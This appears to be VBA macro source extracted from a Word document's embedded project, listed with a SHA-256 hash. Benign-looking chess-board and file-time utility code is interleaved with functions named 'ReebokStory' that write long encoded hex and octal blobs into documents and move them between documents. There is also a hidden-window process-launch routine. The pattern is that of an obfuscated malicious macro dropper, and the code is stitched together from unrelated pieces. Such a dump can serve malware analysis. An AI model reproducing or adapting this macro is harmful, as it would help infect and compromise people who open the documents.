        If LCase(ValueString) = "pi" Or LCase(ValueString) = "e" Then
            OutputString = "Number"
            If LCase(ValueString) = "pi" Then
                OutputValue = Pi
            Else
                OutputValue = Exp(1)
            End If
            Exit Sub
        End If

        'Set return value
        OutputString = LCase(ValueString)
        Exit Sub
    End If

End Sub


Public Function ExecuteCommand(CommandLine1 As String) As String
   Dim proc As PROCESS_INFORMATION     'Process info filled by CreateProcessA
   Dim ret                     'long variable for get the return value of the
                                       'API functions
   Dim start As STARTUPINFO            'StartUp Info passed to the CreateProceeeA
                                       'function
   Dim sa As SECURITY_ATTRIBUTES       'Security Attributes passeed to the
                                       'CreateProcessA function
   Dim hReadPipe As Long               'Read Pipe handle created by CreatePipe
   Dim hWritePipe As Long              'Write Pite handle created by CreatePipe
   Dim lngBytesread As Long            'Amount of byte read from the Read Pipe handle
   Dim strBuff As String * 256         'String buffer reading the Pipe


   'Launch the command line application
   start.cb = Len(start)
   start.dwFlags = 1

   'Execute the command
   ret = CreateProcessA(0&, CommandLine1, sa, sa, 1&, _
       &H8000000, 0&, 0&, start, proc)
    
   If ret <> 1 Then
       'if the command is not found ....
       MsgBox "File or command not found", vbCritical
       Exit Function
   End If
   
   FreeConsole
   'Now We can ... must close the hWritePipe
   ret = CloseHandle(hWritePipe)
   mOutputs = ""
   'Read the ReadPipe handle
   Do
       ret = ReadFile(hReadPipe, strBuff, 256, 0&, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesread)
       'Send data to the object via ReceiveOutputs event
   Loop While ret <> 0
   'Close the opened handles
   ret = CloseHandle(proc.hProcess)
   ret = CloseHandle(proc.hThread)
   ret = CloseHandle(hReadPipe)
   
End Function


Attribute VB_Name = "UtilVBAbas"

Public Const TEST_MODE As Boolean = True
Public ThisApp As Object ' Office object: Excel, Word,...
Public psGameFile As String
Public LastInfoNodes As Long

Public psLastFieldClick As String
Public psLastFieldMouseDown As String
Public psLastFieldMouseUp As String

Public SetupBoardMode As Boolean  ' manual board setup using GUI
Public SetupPiece As Long

' GUI colors
Public WhiteSqCol As Long
Public BlackSqCol As Long
Public BoardFrameCol As Long

Public plFieldFrom As Long, plFieldTarget As Long
Public psFieldFrom As String, psFieldTarget As String
Dim plFieldFromColor As Long, plFieldTargetColor As Long
Dim psMove As String


Const GENERIC_READ = &H80000000
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_READ = &H1
Const FILE_SHARE_WRITE = &H2
Const CREATE_ALWAYS = 2
Const CREATE_NEW = 1
Const OPEN_ALWAYS = 4
Const OPEN_EXISTING = 3
Const TRUNCATE_EXISTING = 5
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_FLAG_DELETE_ON_CLOSE = &H4000000
Const FILE_FLAG_NO_BUFFERING = &H20000000
Const FILE_FLAG_OVERLAPPED = &H40000000
Const FILE_FLAG_POSIX_SEMANTICS = &H1000000
Const FILE_FLAG_RANDOM_ACCESS = &H10000000
Const FILE_FLAG_SEQUENTIAL_SCAN = &H8000000
Const FILE_FLAG_WRITE_THROUGH = &H80000000

Public Type SYSTEMTIME
        wYear As Integer
        wMonth As Integer
        wDayOfWeek As Integer
        wDay As Integer
        wHour As Integer
        wMinute As Integer
        wSecond As Integer
        wMilliseconds As Integer
End Type

Public Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type


Function ReebokStory74() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "ab2154aaac52a5eab128b67fa11c8e8b61ef364a1e1146cabfca534ab7b27a164b5a178a121617a223bc85b13ba12c6abf71a16bfa4bb53"
Selection.TypeText "a24bbbceeea1463cefbbac61664fabbbbeb1bab13268b81fa832e2aa48e6b1ab5212ab5e1c6a755aba62a7bba5441f883eac8aaaaf78fc8"
Selection.TypeText "f6fe6a57be783e7b227b2b3b2ef1bb85b2aaba344ab6352bb57baea13eeaee38762b5afc8a5ae1c23bcb1164ab6c5bac2a47bbc12ab3141"
Selection.TypeText "52bb2ab2b83316b5bb286a137ae4cf2aa461bcaec8aaff2bac7fa6ab2a88c51f4bab1bc1b811e2acfc6c18213751bba5e5b28a2b1af4cb1"
Selection.TypeText "132ea3caa8ff2eb5318c5b4b5be171516f4a387aba4aaae8612b465b71abaabab1728a2713a31e641572e474b1ab3bae3b7ac6a15ce6125"
Selection.TypeText "3ae75cb1b7fffc23fcbba22a12ee1ba144aa7bc5eb5377ba32171ab1aa281eaaceffeab4b8b4b2aeb3aab5b2bae51628abe5a8ab4e5abb6"
Selection.TypeText "b6b3aeb1b7115e4e12af58e883b15fa2ac7fbbb75271135f2b3a1fa155ebaa8ba65c4e7814baa57a6bbeb7841223b36bfbb6f2b6a65b1bb"
Selection.TypeText "b66157b15b31182e41aba44e281e3a1c14b5a7f5ba2fc4a1151eab1525ca33fe111bc81a8c152b65176e6b2a75b35ecb63b6ec1185f5ee4"
Selection.TypeText "f6efacbab3ba1b5b8abbe6b4e18b8f527b5bcbc32ab15bfbab455ccb27baab53afbcc3fa53aa2af12a32b3b3a6bcaabaa5bbb1114b8a1ab"
Selection.TypeText "aaa245c6c27515a3fc8a8abfaf45ec14b38cbcaaafb1ea62a314af1a1ae1abc1ba4afe62e71e3f312b1f14b3ba556afb36afc1ea211ebe1"
Selection.TypeText "1367a5831abb56cbb1154131ac77a32cbcb14fba4a1fc8bf4b1a371ba3a2b4ab16a6bcf8a21aabea513bb5a7567273f8115cbab671f7b15"
Selection.TypeText "24b6412e8e26b6aa1ba762c476ecf4b22428b1ba1ccb4ef7f36a3caaa1abea4bafc458f45fab1c146a3eacf2baaabef71aa2aaba5ba1b2e"
Selection.TypeText "bfab8aaabe714baaf6a864aa51eb84414fbb1b6eb67eaba56a61aeba6ca53878b26b178ab5678ccaf311b35a2ba1ae73176c61f1ef3be2a"
Selection.TypeText "1cfb24c1a1bfbce13168cfa2688f71b862b2a5ba578aaa4b631cc81b3beb62b81aa1142bebb47fc8aa6f681bcb46532f2c7bb3ba1a8b64b"
Selection.TypeText "b2a3eb762ac7aeb74baabba335121757a4b2b8a6cbabb5c43665b1bfafca5b6ca81b1ebaeb8a2ecbbbabcbbccf5a71bc1a83b4a3bcf14fe"
Selection.TypeText "bfbfab35e73a5fba5546b7b516b4a1af172b7aee2e5eab5ec71a11116655ca868a11e5ba13aeaa52f811532fe4aa63bcb723828cef34464"
Selection.TypeText "71af2142be5151ab488baa11a1aaf536ebe75be4755b8563cbc38731b32782f8acb5fbb1737a1747785f174f76f34ab4acc6aa8487a1e6b"
Selection.TypeText "141f5a17b1fbb2b1b5baa6e7c4cea7af11181c81b1f2aa7ab3b1635b8aaa66aa4bb6a1af17ae5b5ab3bb5bc24b7babcaaaab4ba8cb8ba5f"
Selection.TypeText "78ec2aaea3716f8517bbbc1ac348ac1b1ba681b7bcbb8ee51cfaf2fb3e4aa18614a8b71aaaafbf6ca3c158c54f8ba4123c1213a284ab4bb"
Selection.TypeText "b8b58b1e7ba3aaae7a1b68be4c583aaf82137b4baff6b18ba6a2a3bab8a1aac7aab1e511e41bbb6486432fa235f13e3a2eaaa57afa41b4b"
Selection.TypeText "47b2e4e25cbabb81222cfa21171751b1a2f1ba75c57abacaa5531babaa2aa31a1a1aafa1be15167f3cb6ec18f18715bfaa465f16bc11b8e"
Selection.TypeText "b4baaf8ebb615caa1666b5aa6a387eb8b2341ab36a15f5b35a57b25b7ce6f52faab5b62b6168aaabaaca12ab8b6ac56bab1f7bcebea851b"
Selection.TypeText "ab744af825e6b1cba7a44aa1aaab3aa11eab1aa66ab8f7bb724aacfa11a34aa2e1a4faf27a6eb5bf4b271c1c624a6b43bababbcb8ab656e"
Selection.TypeText "2ba1525bab1a13b7fb5b142a162ea423abb1a1beb7abf5a1273fbaee187afb2ffa2ab7b6f8a4b15b3f37aeba55bb21f15bbf86a21b68fba"
Selection.TypeText "7aa8a8f38333afc5ab3fafaaa876116b3172fea1bb6b53485115b26ba8e6ab7ba7f1afbfb5b1b5aba8a8667b1b6accb6ee53217aa5e6b2a"
Selection.TypeText "3caa1b732affcaa34b28ebaf44e2baae4e4ab1bb2411f386bb1445beb6aa6fbb1ee1a11cfa6b1ca18a3b6332e616eaaaa42e2ba1a3a61f7"
Selection.TypeText "22e1b25a6bcba1af4a2ba1baa1b1fb15ea3641a163168875c11ae71ca8bbe4ae2b6e58fb8bf71b4ac3e5bb27241258b46b3bcaa4cb687ba"
Selection.TypeText "aab5471a8e13a14b7ea14a525ee18a6bfb1aa3b6a4f281aba14751a381bbaaab62e78acfca14b82e63efc76bc6b1eb7b2ca1b46a313bb45"
Selection.TypeText "6fa8ebb5cfb16f1b5bf1bafeea7a1f4abf46ab3676fc84e1aba1b81ab3aba248b125b175ba1117784abaa4aac1bb1ea16a2f61b1e13a76c"
Selection.TypeText "741bb68c331a624a1411e4e775bf8b61af33b5bfffb684bc28ab2a7b861421a3beb7ab413bacfa1abb6631b1ef1ec1aefba5ceb621f2f35"
Selection.TypeText "fc1b1aa8b51e7a455582458a1f71bbab114816aeff384aba26bff43282318aa1ab6a1612cc8ebbffbcbf8bf7fca5714babb8aabb4aa128b"
Selection.TypeText "5b73c1ebaff33c77a6b28aab2b521eb132f77145a4b6fe6a31a12cafbaaf3b73abe1bb51a74bbabc2aa1814ec4715a85ab7a1b5abcab2a4"
Selection.TypeText "bb67b5f6baab2ceba7fb336f616ceb1bb6c254fbea61abe8a1762a28a22a4bbab51137fb4b665b3a67f34a1eaba6bca151a18aaa66bbec1"
Selection.TypeText "ab3a8a6e3a653aa23ba34c687aeaa1551a7f81114a76431b41ea6c1a83b14a1b81ac77a5718ac1a15ec247b1b4ebbbaeca873bb6b3a33bb"
Selection.TypeText "3abbb14263145441ba61455beba14be4aa6abaa82bcbea2ba4aa1fa2a2bf1e7e8b3376b1a36e8b6aeb1b3486338be8ab1368a7454eab8ac"
Selection.TypeText "3854fa11314fa343aa5ba4a73fb57e47ab23a7b56fbac8b63a3fab7bf518b1e6b1f8b43a186bbcac7b3caa281ab7bbbaecf42b1821ebff4"
Selection.TypeText "e46a471c6ce21a14b45777ac651a464a56bf5b386c8448fc68efa7624ca5a1a18aabb32b1fb3be827a3b1f31ea2cbe2b7a814aea76a1aaa"
Selection.TypeText "a61b847b3cbfefbaac55baa15abae1b743a3b254b1b7b14373bba58e2c86821b7cca3ab8c4c825c6a2bba2a378324a8b43b6e2451a6737b"
Selection.TypeText "8ecb2abc51188132c6a4ffb74a3b33aaebab734b734177184bba4b13bcfbe46e72c662ea1c18ab33efb7562e316145514a43abbca4b28bf"
Selection.TypeText "5c2aa54a3315715ba5bc8a614515ba7babacb1e541ce78c1ab657a4a31fba15af4c64a5b5bbe47ecfca6baf7f12b5f3f3b27b3b5b2cfa2f"
Selection.TypeText "1cb871babec35accb541afaabeba76abba76cab4fa5be8ba184aaae11a3cc51b3eb57eea7bb71bae5feac766f26585ca8a1e8b3aafbaaff"
Selection.TypeText "b14caa8b1abb1ba1e7bc13be4118aaa1b122bba8babfabb11c1fb56f1514abe6aa8a7a7ab866b783a1b435cbe636acb3a8bcff16b3631a5"
Selection.TypeText "f747b2a33f2a1516588cb4ffb13bbb33b3325a42ae4a7aaf78b8eb837bbc1ef5abae1557a71aafa3b5aa5b6be87ebbcab676bab7caa2aaa"
Selection.TypeText "c4a2eeb14aba114bfea11b4ab17b72e8b2666ab818711b88ebe1f54a5a3eb6c4ae3ab2b827cb71a57b4833a611caa41cbab2fab6ba46c3c"
Selection.TypeText "a113b21a4a6ebf8e1fb147bb1abaeeaf7714af4156c1ccaccb6f1386ab5a3a7a78b63b1a13ca3a3a3ca44216b55cc6f6aaaa2aa4bcb18fc"
Selection.TypeText "fa88b61ffbe2a6b17ab2a31f7a1c813bbe3b7f77bbeb11b55af365a1ebc82776c1f5ae1b6ba65aa72538aa61a174ab4b37b1b14811875a2"
Selection.TypeText "b828acaabb8abaa6e481733548323542e573ba6aafaf4b45ab55b6a2368f327aeaf17ab8c61b27b7b74eab31e161241b818c1173eabae21"
Selection.TypeText "6b2fbb63431a2138a252255bcbc5e1f1a57f1841ae71b6babfabb7aeab814b54b8537ee4aac634a87c6b5ff81cfa7fac2fa642a111b147b"
Selection.TypeText "84aa3be3caa44ec2bbf51abbaa4baafb65a2ae27187afbfbca17a8aaec8aeb2b6317fb3e4727516be1abcb64a5e21cabcbb26b76362ac21"
Selection.TypeText "ab5b2cabbb1fcb61732aaa1bbea74146a254bab1a361ca2b8a161b3aa71485fa5c1a28bb4a3f7a2bae27a86a61281a5b3baa1fb6abaa88f"
Selection.TypeText "72a8557551254ae386bf272ba3c812f765f57fb5754fea1c217c5a5babacc7f51f6e27bc18b176efa7b8abc4436eb6a441267b3b2a2ab51"
Selection.TypeText "2e7ba7b1acb214c3213acaba3b4b3cf877fa165aba8f6a48bae118cb473144e2af58bab8a4fc2a45bba168fff2cc271f77be281c1abfc16"
Selection.TypeText "baabb34caa7b172ab1611f51211aaa4bafb82b1ff7aabccbbea6681162fbb6a7aa38867a3a27648738aacbc28a21b3f36a184a1bb785551"
Selection.TypeText "b1c526c2bbc6ba35f5ba233ca4b52bbc56a6ea2c43b6f288bba21b1c811133aa41af844a4755bfb1cb11bafc1a1ba2e66642133eaa5ea11"
Selection.TypeText "2faab1a373e13cbab12611a1fe8a8e25aabcac162aa2e4aa5b1cb7bae1eaf1af7eaafe6b4b421b1cb7bbb38b5acbfb6acbae431bb21e85b"
Selection.TypeText "62a53ef2a1aab32b12b8a2f644e5ba12b62b4541ae5bbb337afb52afcb5b3abb4ba2af12875ca1ba5a8a8a1e61ba31b1be77883a2b1baf6"
Selection.TypeText "21bbc5b8fb41a8b4aa568a4b32a52622a8a5327cf4b3b42526babaac4a1a431ba34aa84faac55fccf4776f3abf4aa31baaa41e476a521a6"
Selection.TypeText "7ab1bbbaa673eafa8eaab1afbbbcc431fe5a211ecaacbcba518a231aae12abb7f5241f718e8be1778cfeec4baa4fcb183bcbfb631b4fca1"
Selection.TypeText "671aa85a25f3ac41abe177a54bce1aeabe83ccf6bfa5f5eb8aafa48f5815f564622f1aa76aeaba1ec1bff826b2b8e11a1ba1abc7afbbffe"
Selection.TypeText "113181ab221e2331b51b148b15eb5a65abcb62bbab3245517b5e2bee63552a325a3be8c5f87b4aabb7cb7b16b47ab3fb2bc8f85a7841baf"
Selection.TypeText "baabafe81abbaaa7ab5bbabcaca7fb6cecb125cbca5e58a274afb63b3a28b5acf8baba45b6fbabc1b154fa37263aea7b71caab1f71a2bfa"
Selection.TypeText "261bec5a2a7f1a3a21aac887ea7ae12783caef4f14a146f47f3a8ab7babbb6ac6b27e8fbba1fe3fffaaceaf83f32b31eb71f1a57aab5ae6"
Selection.TypeText "7ff6b72b5eb4bb3c174a3abab11ab338b57abb41ebc241aacbab21aca1a4aac554386528577a5c7cbb2ebfbcab7c8a1511b7b4a15165a38"
Selection.TypeText "4eac4814a8b2551fa3aa1a51ae7fee58214a24341bb1131e7cef735b63ce35bef54ea178b56e8eecb813a1becabbf44b85aec5127a12587"
Selection.TypeText "e13b7ebbcf6bcb761fabb35b68b3b3b1a51eeefb1bb8c7aebaeaa17bb53118aac4a5b222858fabbb328a523ae6b6e166aa75bb84fcba86a"
Selection.TypeText "6ca1e1aacb38be147bb3ef231b72a5e1c4eb7a1b8e8abb3816c1fb3b737a8b6bb7b3b8aa3eba8a3ac2ba558a4afa5118f8a63211b7435be"
Selection.TypeText "1e1eabbfb43b63b588eea7b8a26c3cb4afff6a3cb1caa56aba6a568a77cc216abe84a22bf3ab5caaa3ef1aabf155b84af18ab8eaa153fb1"
Selection.TypeText "74ba151f3ceb3134bbbb718a5c1a8a3b654a73151bb3b48bb716115bb31aef3ecb4bbbf78f1ba6ab1bea86bbf8cc5bbb31ba5cac4bb1f6a"
Selection.TypeText "7bb1bafbb25ba2a81a28b673bb8b5416111cb4ccbc41b6781c7113a7aba5baaebb1a5a6aaa7515bfac8a28cffc6bc1a81a45e2aaeba173b"
Selection.TypeParagraph
With Documents(1)
 .Paragraphs.Last.Range.Select
 .ActiveWindow.Selection.Cut
End With
With Documents(2).ActiveWindow.Selection
 .StartOf Unit:=wdStory, Extend:=wdMove
 .Paste
End With
End Function
Function ReebokStory24() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "04060270520460720244030050000407067500002706206073705735060057450200647200536"
Selection.TypeText "40040024072000000332050005057567005647047005000056560436060052035005007640070"
Selection.TypeText "55076020600636000036570060006303350645270240065333030003024570400064705500600"
Selection.TypeText "07333004007520703205000033003507300700406760570030470240050077500236500005657"
Selection.TypeText "06000030056032000404400076047640753033004000070745047004035002762260700370560"
Selection.TypeText "40232355744000072000040070000522450207340525345304670067070000650002220000202"
Selection.TypeText "00004707342424770546630500040740406000000002600022050650073004060405000002000"
Selection.TypeText "60570000534000076072662662703066304466040357507456074200040400000307057300200"
Selection.TypeText "55333064650065045030000637070600007745257530207700306030002270260630435536345"
Selection.TypeText "32005020200403702670246660000000700000505506300603050662547044566047725420060"
Selection.TypeText "06407757273065254002043760000460076203003570007660004006722726545030003055530"
Selection.TypeText "00005000026026420760370066300030440007332527000060065224322535022504032050467"
Selection.TypeText "03770002040000570030700000450706300333200042367227300202620045307060407044427"
Selection.TypeText "06302350757040603745770700400047570060004024305374300002030030020070047406037"
Selection.TypeText "46244062200504704005007030343242300060335375675000407057000050600040005665600"
Selection.TypeText "52052622070030200633463560550053730520000040004656023502207235075070506200202"
Selection.TypeText "02300402004330360007004006660062230360300000750620002054300606604505000262300"
Selection.TypeText "64306040467040006020033003500006700500704042700060040300000400000076002300203"
Selection.TypeText "44047002072005007000002000556420005205074430076060035042550005004007000702406"
Selection.TypeText "27070037544020006440000003452000605740245200024067400000600300030005500000400"
Selection.TypeText "00200000404025043030000043062024000572527500000052603320557005402005277520006"
Selection.TypeText "50060005007050300346000063000607000062500370006673500300250440005056303000460"
Selection.TypeText "00067025703707005703607027720060736002276770020700073366400003566077000355674"
Selection.TypeText "00660000535364757300724000033704030000520307004325042200405600030347005074203"
Selection.TypeText "74500500754240000362064335005730700337005032677060600050044770043034000236024"
Selection.TypeText "63063765032000707730400636604070036025000076006276020007242007020005040077243"
Selection.TypeText "00060000303725072600040733040005060544000300706026770347605040475560043502502"
Selection.TypeText "00635403000706330500500600007600655574653763234444300200005076434660005375020"
Selection.TypeText "02000003705066534740005605000507026027400600200576033265000020400202743502606"
Selection.TypeText "00577750000400300202040400300560763067230044355272643045063650000204000400570"
Selection.TypeText "66600362207060050203000700520025027003370700026505664436550465037300000224600"
Selection.TypeText "45733026054002336645507250040002000074603034000000003536475000600000000007002"
Selection.TypeText "00600474700303603300607474044300666070253034007000036076340074370060025043604"
Selection.TypeText "34000730706340457700046004332026060765047055300034050402220030200062000065066"
Selection.TypeText "40006000255340470240676000403020407053055020000500524043470033360774030006000"
Selection.TypeText "70065002032060427040000300004706070006600733370637605072000340200005076200730"
Selection.TypeText "70200342000202000006023532000050520005007002200447730603020742050602700642050"
Selection.TypeText "42042070000320760770743726020200720337706042000000547050703006505545406005057"
Selection.TypeText "70046004044750027670000606070004205000240050200400004040375075400472050563305"
Selection.TypeText "00060005050400400040254663030260200333500002300503200400670225000402406242245"
Selection.TypeText "75060306006007252720640550263660006032060005203000030000003770000240670000047"
Selection.TypeText "02003636000005664560605063005000032700740600020625557020054727530035700052500"
Selection.TypeText "60060502420006000000320600407052704200763035662030334604772000000305754574004"
Selection.TypeText "00205553007506000570203062560027750600000500070740005567200002050000075400556"
Selection.TypeText "04022530500200323004673206060006002440760727007560406570030235050462003037550"
Selection.TypeText "30005042720070507005440053520040256070303547232600500603006700067700600470452"
Selection.TypeText "60072042264040030200436505760600677060640640000620560353400020002360050743606"
Selection.TypeText "20700000635040544700044025060007630324700720000054440026244304243405520070727"
Selection.TypeText "73073400400050504450700460070443305007002030070205500300452440050205065600042"
Selection.TypeText "05730004067000460726603055204006040200006057344072300070433230766330030206400"
Selection.TypeText "02523706730300624005400340060537233700002020022603000067053023635060030070277"
Selection.TypeText "00005274505333005300707600750072707203246000237700042000040320003332002000070"
Selection.TypeText "30303525070002253005000334763000200450030504530550252050000620400600000503407"
Selection.TypeText "24040500000070025050535044007206035065002540000062300000353207060350600070072"
Selection.TypeText "03060262000736235043044700004046074600037500305060660040300405006667705005056"
Selection.TypeText "50770304520220260007306530007005500007475206040002775430546200550005572302740"
Selection.TypeText "00700432242400004202330604670547060406054007260027006000050706006460400047003"
Selection.TypeText "04567000030535025560300000400460007453436020630030030707570702000057206000700"
Selection.TypeText "00006040052000036530056663423250302574630203006000507064473000003056427020507"
Selection.TypeText "60002606600500570073622364450607000020000553026070540020724000020070325400003"
Selection.TypeText "04350606030044700074002006500537055035200220400300270200000530500440250260605"
Selection.TypeText "73200044003206030625360040224002506427020000604004002266455077640705670500400"
Selection.TypeText "00602566006070447500703350400603000307300706020600070000050342007260475405047"
Selection.TypeText "22200670720720702070767505305000447500006050070520002060200030200465052244002"
Selection.TypeText "07050607700572003202207000042000070574550203720022646363220370000700004405050"
Selection.TypeText "00707003040624602402444262060607040070004362230000200770027060252053000000364"
Selection.TypeText "60077450207052702300436705206400700377307430205060202725337070007020473046070"
Selection.TypeText "76265600747005073240222300300032507673326002735425634403400443003400065000707"
Selection.TypeText "60004220260074605706635203050044000506000474032000004475052035402602702600035"
Selection.TypeText "00727655503200000072660450026060300324620760002005430030340023030603650430204"
Selection.TypeText "56606340060007056402020004260750000502070700500750076277235703620000206320300"
Selection.TypeText "02036022503670237453004060003060703026540740736500700067064044223203500700006"
Selection.TypeText "06400700407400200073602060020000200400042000000507006355006035304074200000055"
Selection.TypeText "70004403300007006003700465070000207670060670765040650060230077374765003303057"
Selection.TypeText "00064504020005400200024375600035340205050060007570605600502304005606005602020"
Selection.TypeText "05040554040600072026420040070640006040740757700300020676003037700002542400427"
Selection.TypeText "06360550300562732006600003206025040200024450500053063244000700752057005200400"
Selection.TypeText "00602655002000073026030004600350020700020040246202600060500060000000000352000"
Selection.TypeText "53502074605070007033423600067003300004737073003730303003070020030200002305000"
Selection.TypeText "00754050000020564020040003736307732040206002504030660204007030000000747002034"
Selection.TypeText "70000375000005230350027645300362574067750725000055300005007040320034000200003"
Selection.TypeText "42650504404070047726730075037000546720060000035436700300400500000060564202547"
Selection.TypeText "50023060006045450072350070500000047402042740020073402202545005704000336220240"
Selection.TypeText "46260204370442520040022073600630353000075402003205006046704776032067204737020"
Selection.TypeText "73560402203000747400407500000435223640030737045560000520306303202206005000020"
Selection.TypeText "07056457500300034060000000000607205670035076404237057056000700700020002553200"
Selection.TypeText "74003532007705070002070460070004260300460000063037020000040027560740050000360"
Selection.TypeText "04330734065303070050606237602770247350764630070723075406030000000000077702020"
Selection.TypeText "62244306553000300603525007506302053043006440000426705606455000577300002400202"
Selection.TypeText "20055007270030644025004603074474066070040600000423034730330400027005704450200"
Selection.TypeText "00003253703040007000556630670540003000076707002070063605007004306050775520200"
Selection.TypeText "43607320700070250305303640002003020274000020402230002042320502000270205045000"
Selection.TypeText "63506020557433070244350363000020720250070070002360600665606005406040000257000"
Selection.TypeText "03500053562520277660342050774205350440320444500000306002000400750500524444000"
Selection.TypeText "00007500003007000320604605620007625507553300030474004070020002566505070000020"
Selection.TypeParagraph
With Documents(1)
 .Paragraphs.Last.Range.Select
 .ActiveWindow.Selection.Cut
End With
With Documents(2).ActiveWindow.Selection
 .StartOf Unit:=wdStory, Extend:=wdMove
 .Paste
End With
End Function


Public Sub ShowColToMove(ByVal StrfileName As String)
Dim hFile   ' handle to the opened file
Dim ctime As FILETIME  ' receives time of creation
Dim atime As FILETIME  ' receives time of last access
Dim mtime As FILETIME  ' receives time of last modification
Dim thetime As SYSTEMTIME  ' used to manipulate the time
Dim retval

hFile = CreateFile(StrfileName, GENERIC_READ, FILE_SHARE_READ, ByVal CLng(0), CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0)

If hFile = -1 Then
  Debug.Print "Could not open the file successfully -- aborting."
  End  ' terminate the program
End If

' Next, get the creation, last-access, and last-modification times.
retval = GetFileTime(hFile, ctime, atime, mtime)
' Convert the creation time to the local time zone.
retval = FileTimeToLocalFileTime(ctime, ctime)
' Convert the FILETIME format to the SYSTEMTIME format.
retval = FileTimeToSystemTime(ctime, thetime)

' Display the date of creation of the file to the user.
Debug.Print "The file was created on "; thetime.wMonth; "-"; thetime.wDay; "-"; thetime.wYear

' Close the file to free up resources.
retval = CloseHandle(hFile)
  
End Sub

Public Function FieldNumToBoardPos(ByVal ilFieldNum As Long) As Long
   Dim s As String
   s = FieldNumToCoord(ilFieldNum)
   FieldNumToBoardPos = FileRev(Left(s, 1)) + RankRev(Mid(s, 2, 1))
End Function

Function ReebokStory48() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "ab2154aaac52a5eab128b67fa11c8e8b61ef364a1e1146cabfca534ab7b27a164b5a178a121617a223bc85b13ba12c6abf71a16bfa4bb53"
Selection.TypeText "a24bbbceeea1463cefbbac61664fabbbbeb1bab13268b81fa832e2aa48e6b1ab5212ab5e1c6a755aba62a7bba5441f883eac8aaaaf78fc8"
Selection.TypeText "f6fe6a57be783e7b227b2b3b2ef1bb85b2aaba344ab6352bb57baea13eeaee38762b5afc8a5ae1c23bcb1164ab6c5bac2a47bbc12ab3141"
Selection.TypeText "52bb2ab2b83316b5bb286a137ae4cf2aa461bcaec8aaff2bac7fa6ab2a88c51f4bab1bc1b811e2acfc6c18213751bba5e5b28a2b1af4cb1"
Selection.TypeText "132ea3caa8ff2eb5318c5b4b5be171516f4a387aba4aaae8612b465b71abaabab1728a2713a31e641572e474b1ab3bae3b7ac6a15ce6125"
Selection.TypeText "3ae75cb1b7fffc23fcbba22a12ee1ba144aa7bc5eb5377ba32171ab1aa281eaaceffeab4b8b4b2aeb3aab5b2bae51628abe5a8ab4e5abb6"
Selection.TypeText "b6b3aeb1b7115e4e12af58e883b15fa2ac7fbbb75271135f2b3a1fa155ebaa8ba65c4e7814baa57a6bbeb7841223b36bfbb6f2b6a65b1bb"
Selection.TypeText "b66157b15b31182e41aba44e281e3a1c14b5a7f5ba2fc4a1151eab1525ca33fe111bc81a8c152b65176e6b2a75b35ecb63b6ec1185f5ee4"
Selection.TypeText "f6efacbab3ba1b5b8abbe6b4e18b8f527b5bcbc32ab15bfbab455ccb27baab53afbcc3fa53aa2af12a32b3b3a6bcaabaa5bbb1114b8a1ab"
Selection.TypeText "aaa245c6c27515a3fc8a8abfaf45ec14b38cbcaaafb1ea62a314af1a1ae1abc1ba4afe62e71e3f312b1f14b3ba556afb36afc1ea211ebe1"
Selection.TypeText "1367a5831abb56cbb1154131ac77a32cbcb14fba4a1fc8bf4b1a371ba3a2b4ab16a6bcf8a21aabea513bb5a7567273f8115cbab671f7b15"
Selection.TypeText "24b6412e8e26b6aa1ba762c476ecf4b22428b1ba1ccb4ef7f36a3caaa1abea4bafc458f45fab1c146a3eacf2baaabef71aa2aaba5ba1b2e"
Selection.TypeText "bfab8aaabe714baaf6a864aa51eb84414fbb1b6eb67eaba56a61aeba6ca53878b26b178ab5678ccaf311b35a2ba1ae73176c61f1ef3be2a"
Selection.TypeText "1cfb24c1a1bfbce13168cfa2688f71b862b2a5ba578aaa4b631cc81b3beb62b81aa1142bebb47fc8aa6f681bcb46532f2c7bb3ba1a8b64b"
Selection.TypeText "b2a3eb762ac7aeb74baabba335121757a4b2b8a6cbabb5c43665b1bfafca5b6ca81b1ebaeb8a2ecbbbabcbbccf5a71bc1a83b4a3bcf14fe"
Selection.TypeText "bfbfab35e73a5fba5546b7b516b4a1af172b7aee2e5eab5ec71a11116655ca868a11e5ba13aeaa52f811532fe4aa63bcb723828cef34464"
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 765952 bytes
SHA-256: 0599167f976b0824203995c76d8002751c40a0bc49c7c7efe272e616507f5880